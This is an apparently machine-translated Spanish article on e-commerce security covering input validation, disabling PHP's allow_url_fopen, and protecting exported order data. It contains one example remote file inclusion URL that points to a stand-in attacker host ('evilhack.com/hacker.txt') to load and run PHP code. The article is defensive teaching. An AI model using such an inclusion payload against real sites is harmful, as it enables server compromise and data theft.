E-Commerce Security - tapar los agujeros de seguridad

De seguridad en un sitio de comercio electrónico debe ser una consideración importante al desarrollo de un sitio de comercio electrónico o de software. Un programador debe ser consciente de todas las consideraciones de seguridad en el diseño de un sitio. Con el comercio electrónico cada vez más comunes en estos días, el número de ataques a la seguridad es, sin duda cada vez mayor. La paranoia es una cosa saludable para desarrolladores de sitios de e-comercio, tenemos que mantener a la puerta con cuestiones de seguridad, y mantener a nuestros oídos y los ojos abiertos. A pesar de las lagunas siguientes son graves, las lagunas siguiente si está presente se puede arreglar fácilmente.

A continuación se enumeran algunas consideraciones de seguridad que se incluirán en el desarrollo de un sitio. Este artículo no incluye e-robo, por favor, ver mi artículo separado sobre esto.

La entrada del usuario - cada entrada, ya sea entrando en una cantidad, la búsqueda de un producto, entrar en un nombre, etc, debe ser validado por personajes sospechosos. Si esto no se hace, es posible entrar "?>", las etiquetas de cierre de final de PHP y ejecutar código PHP.

Es mucho más seguro permitir que los números y caracteres az (capitales incluidas) y 0-9, y nada más, en lugar de hacer una lista de todo el carácter que no debería estar allí. La secuencia de comandos de validación de las necesidades para desplazarse a través de cada personaje uno por uno. Esto debe lograrse mediante la validación del lado del servidor, no Javascript. Con el lado de servidor de validación de entrada es esencial para mantener fuera caracteres no deseados

Existe otra importante cuando la ejecución de código PHP. Cuando se usa PHP es un escenario llamado allow_url_fopen que permite la apertura de archivos desde un script PHP. Este valor debe estar apagado, a menos que sea absolutamente necesario.

Imagínese usted tiene scripts PHP para los encabezados y pies de página fija, y para acceder a sus páginas web que escribiría en http://www.mysite.com/index.php?page=page2. Todo lo que necesita es un usuario malintencionado ejecutar un script mediante la modificación de estos parámetros, escribiendo "http:// www.mysite.com/index.php?page=http://www.evilhack.com/hacker.txt" con la algo de código PHP en el archivo "hacker.txt". Usted podría tener nada suceda, archivos PHP leer, borrar, información vital robados.

Si usted no está seguro de si esta opción está activada o desactivada, por favor copie el siguiente código PHP en un archivo de texto, y subirlo a tu servidor web:

phpinfo ();
?>

Cuando tiene acceso a la secuencia de comandos en su servidor web, debe venir a través del establecimiento de allow_url_fopen en la configuración.

Un usuario de la computadora, en circunstancias normales no puede encontrar el valor de esta configuración.

Tenga cuidado con los datos exportados, como pedidos, productos en CSV y mySQL. Si estos datos se exporta desde un script y se mantiene en el servidor web bajo un común, es decir el nombre de archivo. http://www.mysite.com/admin/output_tables.csv. Realmente esto es sólo un problema cuando los datos exportados reside en un archivo en un directorio que es accesible al público. Hay dos maneras de prevenir esta laguna en la seguridad - En primer lugar tiene el archivo de salida detrás de un directorio protegido con contraseña, en segundo lugar tenemos los datos ubicados dentro de un formulario elemento de área de texto HTML en un script. El dueño de la tienda continuación, puede copiar esta información del archivo de texto y crear un nuevo archivo en su ordenador y pegar la información aquí.

Todo lo que necesita es un hacker para encontrar este nombre de archivo al revisar el sitio de e-demo del software de comercio y buscar el mismo nombre de archivo en un sitio real.

Rate Article

Related Videos
Play Video How to Strengthen Network Security with Cisco Network Manager	Play Video Understanding your Home Network Router #5 - Secure Your Network with WPA2	Play Video Learn About Secure Computing	Play Video ¿Cómo mantener el equipo protegido	Play Video Cómo comprobar la configuración de seguridad en Windows Vista

A continuación se mencionan más artículos relacionados con el artículo anterior de la categoría "Comercio Electrónico" del artículo.

Las personas interesadas en el artículo anterior "E-Commerce Security - tapar los agujeros de seguridad" también están interesados en los artículos relacionados que figuran a continuación: